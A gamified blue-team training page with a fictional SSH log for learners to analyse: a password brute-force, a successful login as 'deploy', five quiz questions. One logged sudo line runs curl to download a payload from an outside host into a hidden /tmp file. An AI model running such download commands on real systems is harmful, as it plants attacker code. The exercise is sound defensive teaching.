CHYP.ai · ORBIT // Cloudy_Day Security Suite

🔵 ROOM · Beginner → Intermediate

Blue Team: Log Analysis

Read real-looking (fake) logs like an analyst: failures, spikes, and the one line that matters.

0/5 solved

The snippet

2026-11-18T03:12:01Z sshd[811]: Failed password for admin from 198.51.100.23 port 51122
2026-11-18T03:12:03Z sshd[811]: Failed password for admin from 198.51.100.23 port 51130
2026-11-18T03:12:05Z sshd[811]: Failed password for root from 198.51.100.23 port 51144
2026-11-18T03:12:09Z sshd[811]: Failed password for deploy from 198.51.100.23 port 51160
2026-11-18T03:12:14Z sshd[811]: Accepted password for deploy from 198.51.100.23 port 51188
2026-11-18T03:13:40Z sudo: deploy : TTY=pts/0 ; COMMAND=/usr/bin/curl -o /tmp/.x http://203.0.113.9/p
2026-11-18T09:01:22Z sshd[902]: Accepted publickey for mira from 192.0.2.44 port 40022

Method

Group by source, look for failures followed by a success, then follow that account's next actions.

Tasks

  1. How many failed password attempts are in the snippet? 15 XP

    Join (one click, no email) to submit answers and earn XP.

  2. Which account was compromised? 20 XP

    Join (one click, no email) to submit answers and earn XP.

  3. What IP address did the attacker log in from? 15 XP

    Join (one click, no email) to submit answers and earn XP.

  4. What file path did the attacker download to? 25 XP

    Join (one click, no email) to submit answers and earn XP.

  5. The 09:01 login by mira uses which authentication method? 15 XP

    Join (one click, no email) to submit answers and earn XP.

Next room: Spot the Fake

Join the Arena

No email, no password: you get a random callsign and an anonymous device cookie that only works in this browser. Optional nickname (moderated before it shows publicly).

Simulated targets only. For education on simulated targets only; never test systems you don't own or have written permission to test. The Arena is an independent researcher project, not affiliated with or endorsed by any company or agency named. Every company, host and log here is fictional unless a page says it's ORBIT's own public outage data.

Where to next